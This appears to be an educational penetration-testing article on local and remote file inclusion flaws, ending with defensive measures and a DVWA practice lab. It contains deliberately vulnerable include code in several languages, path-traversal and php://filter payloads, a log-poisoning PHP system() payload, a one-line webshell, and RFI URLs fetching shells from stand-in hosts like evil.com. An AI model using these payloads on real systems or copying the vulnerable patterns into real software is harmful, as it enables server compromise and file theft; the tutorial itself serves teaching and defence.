In the world of penetration testing, there are a variety of vulnerabilities that attackers can exploit. Among these, local file inclusion (LFI) and remote file inclusion (RFI) are two of the most common. Both are file inclusion vulnerabilities that allow files to be read or even executed that were not originally intended to be accessed by the user.
Although often associated with PHP, they are by no means limited to this language. Similar problems can also occur in Python, Node.js, Ruby, Java, or other server-side technologies.
This article offers you:
- A clear explanation of LFI and RFI
- Practical examples with realistic payloads
- Exploit chains for post-exploitation
- Tools and commands that work in practice
- Step-by-step labs for practicing on your own
- Defensive measures to avoid such vulnerabilities
The theory behind LFI and RFI
What is file inclusion?
In web development, the term “file inclusion” describes the process of dynamically incorporating files into the code.
A simple example in PHP might look like this:
<?php include($_GET['page']); ?>
The goal may be to reuse HTML fragments, configuration files, or entire code modules. If this mechanism is implemented insecurely, it can be abused.
What is Local File Inclusion (LFI)?
Definition:
LFI is a vulnerability that allows an attacker to include local files on the server. “Local” here means that the file is located on the same server on which the web application is running.
Risks:
- Access to confidential configuration files (/etc/passwd, .env).
- Reading source code.
- Bypassing access controls.
- In some cases, code execution, e.g., if logs contain PHP code.
What is Remote File Inclusion (RFI)?
Definition:
RFI is similar to LFI, but the attacker can include files from an external server. This is only possible if the web application allows access to remote URLs.
Risks:
- Execution of arbitrary malicious code on the server.
- Installation of webshells.
- Complete compromise of the system.
Main causes of LFI/RFI
- Direct use of user input in include, require, file_get_contents, eval, etc.
- Lack of input validation.
- Lack of whitelisting mechanisms.
- Unsecured configurations (e.g., allow_url_include enabled in PHP).
Examples from various programming languages
PHP (classic)
The classic example is a PHP page that looks like this:
<?php
$page = $_GET['page'];
include($page);
?>
Attack:
http://example.com/index.php?page=../../../../etc/passwd
Result: The contents of /etc/passwd (under Linux) are displayed.
Python (Flask)
from flask import request
import os
@app.route("/view")
def view():
page = request.args.get("page")
return open(os.path.join("templates", page)).read()
Attack:
http://example.com/view?page=../../../../etc/passwdNode.js (Express)
app.get('/view', function(req, res) {
let page = req.query.page;
res.sendFile(__dirname + '/views/' + page);
});Attack:
http://example.com/view?page=../../../../etc/passwdJava (Servlet)
String page = request.getParameter("page");
File file = new File("/var/www/html/" + page);
Scanner sc = new Scanner(file);
Attack:
http://example.com/view?page=../../../../etc/passwdTypical attack techniques
Directory Traversal
The attacker uses ../ sequences to navigate out of the intended directory.
Null Byte Injection (older systems)
Previously, %00 could be used to “end” file extensions.
Protocol-based attacks
Some systems allow integration via protocols:
php://filter
php://input
data://You can output Base64-encoded files directly:
http://target.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
Log Poisoning
An attacker writes their own code into log files and embeds it using LFI.
Practical examples of attacks
LFI for reading /etc/passwd
http://example.com/index.php?page=../../../../etc/passwdRFI with webshell
http://example.com/index.php?page=http://evil.com/shell.txt
Realistic attack scenarios
Here are typical attack chains that can result from a simple LFI or RFI.
LFI → Log Poisoning → Remote Command Execution
1. LFI found:
http://target.com/index.php?page=/etc/passwd
2. Log Poisoning:
An HTTP request with malicious PHP code is sent in the User-Agent:
User-Agent: <?php system($_GET['cmd']); ?>This ends up in /var/log/apache2/access.log.
3. Code execution via LFI:
http://target.com/index.php?page=/var/log/apache2/access.log&cmd=idRFI → Webshell → Privilege Escalation
1. RFI found:
http://target.com/index.php?page=http://attacker.com/shell.txt2. Uploading a PHP webshell:
<?php echo shell_exec($_GET['cmd']); ?>
3. Privilege Escalation:
- Weak configurations can be found by executing uname -a, id, and sudo -l.
- Use of kernel exploits for root access.
Typical targets and interesting files
A pentester will often search specifically for sensitive files at LFI:
Operating System |
Interesting Files |
|---|---|
Linux
|
/etc/passwd, /etc/shadow, /proc/self/environ, Log files
|
Windows
|
C:\Windows\win.ini, C:\Windows\System32\drivers\etc\hosts
|
Tools for LFI & RFI tests
Some useful tools for automatically finding and exploiting LFI/RFI:
- wfuzz – Brute force parameters
- dirbuster – Find directories and files
- burp suite – Manual testing & payload automation
- LFISuite – Specifically for LFI exploitation
Practice Lab
You can safely practice LFI and RFI in a local test environment:
- Install DVWA (Damn Vulnerable Web Application)
- Use XAMPP or Docker
- Set security level to “Low”
- Test payloads
Protective Measures
- Whitelisting
- Only allow permitted file names.
- Path cleaning
- Use functions such as realpath() or basename().
- No allow_url_include
- Least privilege
- The web server must not be able to read all files.
- Input validation
- Strict filters on user input.
Conclusion
LFI and RFI are easy to understand, but often devastating in their impact. Pentesters who identify these vulnerabilities can expose significant security gaps. At the same time, developers must consciously use secure integration mechanisms and never process unvalidated inputs directly.
